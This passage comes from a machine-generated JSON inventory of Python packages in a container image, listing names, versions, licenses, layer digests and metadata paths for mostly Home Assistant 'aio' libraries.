"sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiofiles-24.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioflo", "Identifier": { "PURL": "pkg:pypi/aioflo@2021.11.0", "UID": "11e51a3077ba1aa2" }, "Version": "2021.11.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioflo-2021.11.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioftp", "Identifier": { "PURL": "pkg:pypi/aioftp@0.21.3", "UID": "6d2f3212e3c91b8d" }, "Version": "0.21.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioftp-0.21.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioghost", "Identifier": { "PURL": "pkg:pypi/aioghost@0.4.16", "UID": "af13ac7951e59b16" }, "Version": "0.4.16", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioghost-0.4.16.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiogithubapi", "Identifier": { "PURL": "pkg:pypi/aiogithubapi@26.0.0", "UID": "810c19eea9732815" }, "Version": "26.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiogithubapi-26.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioguardian", "Identifier": { "PURL": "pkg:pypi/aioguardian@2026.1.1", "UID": "900d2d7bba1c8d2e" }, "Version": "2026.1.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioguardian-2026.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohappyeyeballs", "Identifier": { "PURL": "pkg:pypi/aiohappyeyeballs@2.7.1", "UID": "792d9091ba31724c" }, "Version": "2.7.1", "Licenses": [ "Python Software Foundation License" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohappyeyeballs-2.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioharmony", "Identifier": { "PURL": "pkg:pypi/aioharmony@1.0.8", "UID": "114cb9ac6d684fa0" }, "Version": "1.0.8", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioharmony-1.0.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohasupervisor", "Identifier": { "PURL": "pkg:pypi/aiohasupervisor@0.5.0", "UID": "f2d521ec4ed2ccc6" }, "Version": "0.5.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohasupervisor-0.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohomeconnect", "Identifier": { "PURL": "pkg:pypi/aiohomeconnect@0.38.0", "UID": "e8d122255a141586" }, "Version": "0.38.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohomeconnect-0.38.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohomekit", "Identifier": { "PURL": "pkg:pypi/aiohomekit@3.2.20", "UID": "eae95808bd3d4048" }, "Version": "3.2.20", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohomekit-3.2.20.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohttp", "Identifier": { "PURL": "pkg:pypi/aiohttp@3.14.1", "UID": "f9c6ae69ac7e3be6" }, "Version": "3.14.1", "Licenses": [ "Apache-2.0 AND MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohttp-3.14.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohttp-asyncmdnsresolver", "Identifier": { "PURL": "pkg:pypi/aiohttp-asyncmdnsresolver@0.2.0", "UID": "cfb3cdcf4157dae8" }, "Version": "0.2.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohttp_asyncmdnsresolver-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohttp-cors", "Identifier": { "PURL": "pkg:pypi/aiohttp-cors@0.8.1", "UID": "259d13f99262b547" }, "Version": "0.8.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohttp_cors-0.8.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohttp-fast-zlib", "Identifier": { "PURL": "pkg:pypi/aiohttp-fast-zlib@0.3.0", "UID": "511905941f52266a" }, "Version": "0.3.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohttp_fast_zlib-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohttp-retry", "Identifier": { "PURL": "pkg:pypi/aiohttp-retry@2.9.1", "UID": "1c14e63cce400025" }, "Version": "2.9.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohttp_retry-2.9.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohttp-sse", "Identifier": { "PURL": "pkg:pypi/aiohttp-sse@2.2.0", "UID": "fe630ac26506b4a0" }, "Version": "2.2.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohttp_sse-2.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohttp-sse-client", "Identifier": { "PURL": "pkg:pypi/aiohttp-sse-client@0.2.1", "UID": "fe6a2953effe45d5" }, "Version": "0.2.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohttp_sse_client-0.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohttp-sse-client2", "Identifier": { "PURL": "pkg:pypi/aiohttp-sse-client2@0.3.0", "UID": "c99105524311bca8" }, "Version": "0.3.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohttp_sse_client2-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohttp_socks", "Identifier": { "PURL": "pkg:pypi/aiohttp-socks@0.11.0", "UID": "4f2a2af99c8b91e2" }, "Version": "0.11.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohttp_socks-0.11.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohue", "Identifier": { "PURL": "pkg:pypi/aiohue@4.8.1", "UID": "fc1241c32f5a2a2e" }, "Version": "4.8.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiohue-4.8.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioimaplib", "Identifier": { "PURL": "pkg:pypi/aioimaplib@2.0.1", "UID": "fd8905678ea5bca5" }, "Version": "2.0.1", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioimaplib-2.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioimmich", "Identifier": { "PURL": "pkg:pypi/aioimmich@0.15.1", "UID": "a737a58666328891" }, "Version": "0.15.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioimmich-0.15.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioitertools", "Identifier": { "PURL": "pkg:pypi/aioitertools@0.13.0", "UID": "2b8c8464fb5e1a04" }, "Version": "0.13.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioitertools-0.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiokafka", "Identifier": { "PURL": "pkg:pypi/aiokafka@0.10.0", "UID": "639e6bdec461aff7" }, "Version": "0.10.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiokafka-0.10.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiokef", "Identifier": { "PURL": "pkg:pypi/aiokef@0.2.16", "UID": "30e1407e033cd505" }, "Version": "0.2.16", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiokef-0.2.16.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiokem", "Identifier": { "PURL": "pkg:pypi/aiokem@1.0.1", "UID": "952bdb4ecccd119b" }, "Version": "1.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiokem-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiolichess", "Identifier": { "PURL": "pkg:pypi/aiolichess@1.3.0", "UID": "c4e6659e4046b6f0" }, "Version": "1.3.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiolichess-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiolifx", "Identifier": { "PURL": "pkg:pypi/aiolifx@1.2.2", "UID": "afda3666c7a73454" }, "Version": "1.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiolifx-1.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiolifx-effects", "Identifier": { "PURL": "pkg:pypi/aiolifx-effects@0.3.2", "UID": "f4fbee164b7fd354" }, "Version": "0.3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiolifx_effects-0.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiolifx-themes", "Identifier": { "PURL": "pkg:pypi/aiolifx-themes@1.0.4", "UID": "431d58abd50b49f" }, "Version": "1.0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiolifx_themes-1.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiolimiter", "Identifier": { "PURL": "pkg:pypi/aiolimiter@1.2.1", "UID": "d14035d16cfdd69c" }, "Version": "1.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiolimiter-1.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiolookin", "Identifier": { "PURL": "pkg:pypi/aiolookin@1.0.0", "UID": "276777f941b123fd" }, "Version": "1.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiolookin-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiolyric", "Identifier": { "PURL": "pkg:pypi/aiolyric@2.1.1", "UID": "e97090baef6453d4" }, "Version": "2.1.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiolyric-2.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiomealie", "Identifier": { "PURL": "pkg:pypi/aiomealie@1.2.4", "UID": "77c74ec18c22983d" }, "Version": "1.2.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiomealie-1.2.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiomelcloudhome", "Identifier": { "PURL": "pkg:pypi/aiomelcloudhome@0.1.9", "UID": "b4c21490def2498f" }, "Version": "0.1.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiomelcloudhome-0.1.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiomodernforms", "Identifier": { "PURL": "pkg:pypi/aiomodernforms@0.1.8", "UID": "47438da22a08729" }, "Version": "0.1.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiomodernforms-0.1.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiomqtt", "Identifier": { "PURL": "pkg:pypi/aiomqtt@2.5.1", "UID": "1b76746a277bb6bc" }, "Version": "2.5.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiomqtt-2.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiomusiccast", "Identifier": { "PURL": "pkg:pypi/aiomusiccast@0.15.0", "UID": "7d61a47b19732806" }, "Version": "0.15.0", "Licenses": [ "text://**The MIT License (MIT)** Copyright \u0026copy; 2021, Tom Schneider Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE." ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiomusiccast-0.15.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aionanoleaf2", "Identifier": { "PURL": "pkg:pypi/aionanoleaf2@1.0.2", "UID": "299339da02dd3623" }, "Version": "1.0.2", "Licenses": [ "LGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aionanoleaf2-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aionotion", "Identifier": { "PURL": "pkg:pypi/aionotion@2024.3.0", "UID": "31cbf26566c41cf3" }, "Version": "2024.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aionotion-2024.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiontfy", "Identifier": { "PURL": "pkg:pypi/aiontfy@0.8.5", "UID": "bc9c3c1fbea529a2" }, "Version": "0.8.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiontfy-0.8.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aionut", "Identifier": { "PURL": "pkg:pypi/aionut@4.3.4", "UID": "d303b5b325162403" }, "Version": "4.3.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aionut-4.3.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioonkyo", "Identifier": { "PURL": "pkg:pypi/aioonkyo@0.4.0", "UID": "32bfca1d8727793c" }, "Version": "0.4.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioonkyo-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioopenexchangerates", "Identifier": { "PURL": "pkg:pypi/aioopenexchangerates@0.6.8", "UID": "af277d5f9afb6c6f" }, "Version": "0.6.8", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioopenexchangerates-0.6.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiooui", "Identifier": { "PURL": "pkg:pypi/aiooui@0.1.9", "UID": "b3f251312dd97829" }, "Version": "0.1.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiooui-0.1.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiopegelonline", "Identifier": { "PURL": "pkg:pypi/aiopegelonline@0.1.1", "UID": "bff4eeeedb594f83" }, "Version": "0.1.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiopegelonline-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiopnsense", "Identifier": { "PURL": "pkg:pypi/aiopnsense@1.0.10", "UID": "aa0bf9e6dc7511a6" }, "Version": "1.0.10", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiopnsense-1.0.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioptdevices", "Identifier": { "PURL": "pkg:pypi/aioptdevices@2026.3.2", "UID": "6136e76bd26db35b" }, "Version": "2026.3.2", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioptdevices-2026.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiopulse", "Identifier": { "PURL": "pkg:pypi/aiopulse@0.4.7", "UID": "734fc03872d7375d" }, "Version": "0.4.7", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiopulse-0.4.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiopurpleair", "Identifier": { "PURL": "pkg:pypi/aiopurpleair@2025.8.1", "UID": "d55d0fa7815d5f2b" }, "Version": "2025.8.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiopurpleair-2025.8.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiopvapi", "Identifier": { "PURL": "pkg:pypi/aiopvapi@3.3.0", "UID": "3091b3859bd66e55" }, "Version": "3.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiopvapi-3.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiopyarr", "Identifier": { "PURL": "pkg:pypi/aiopyarr@23.4.0", "UID": "203801d757350b9f" }, "Version": "23.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiopyarr-23.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioqsw", "Identifier": { "PURL": "pkg:pypi/aioqsw@0.4.3", "UID": "a4ef9506d9f23b49" }, "Version": "0.4.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioqsw-0.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioraven", "Identifier": { "PURL": "pkg:pypi/aioraven@0.7.1", "UID": "c96d98270dcfef60" }, "Version": "0.7.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioraven-0.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiorecollect", "Identifier": { "PURL": "pkg:pypi/aiorecollect@2023.9.0", "UID": "974e7cf0f5987796" }, "Version": "2023.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiorecollect-2023.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioridwell", "Identifier": { "PURL": "pkg:pypi/aioridwell@2025.9.0", "UID": "2a965f6351c835a" }, "Version": "2025.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioridwell-2025.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiortsp", "Identifier": { "PURL": "pkg:pypi/aiortsp@1.4.0", "UID": "d81ccff3495afccd" }, "Version": "1.4.0", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiortsp-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioruckus", "Identifier": { "PURL": "pkg:pypi/aioruckus@0.46.3", "UID": "7a0688fc0d2b551d" }, "Version": "0.46.3", "Licenses": [ "0BSD" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioruckus-0.46.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiorussound", "Identifier": { "PURL": "pkg:pypi/aiorussound@5.0.1", "UID": "e3fa54a7707158d3" }, "Version": "5.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiorussound-5.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioruuvigateway", "Identifier": { "PURL": "pkg:pypi/aioruuvigateway@0.1.0", "UID": "26ae8a63f5459d58" }, "Version": "0.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioruuvigateway-0.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioserial", "Identifier": { "PURL": "pkg:pypi/aioserial@1.3.0", "UID": "630196e759acec2c" }, "Version": "1.3.0", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioserial-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioshelly", "Identifier": { "PURL": "pkg:pypi/aioshelly@13.26.2", "UID": "e5c2862735515ca4" }, "Version": "13.26.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioshelly-13.26.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiosignal", "Identifier": { "PURL": "pkg:pypi/aiosignal@1.4.0", "UID": "942e525e77fcbbc3" }, "Version": "1.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiosignal-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioskybell", "Identifier": { "PURL": "pkg:pypi/aioskybell@22.7.0", "UID": "49797cc156e7a3ad" }, "Version": "22.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioskybell-22.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioslimproto", "Identifier": { "PURL": "pkg:pypi/aioslimproto@3.0.0", "UID": "b35d16e2903a31d1" }, "Version": "3.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioslimproto-3.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiosmtpd", "Identifier": { "PURL": 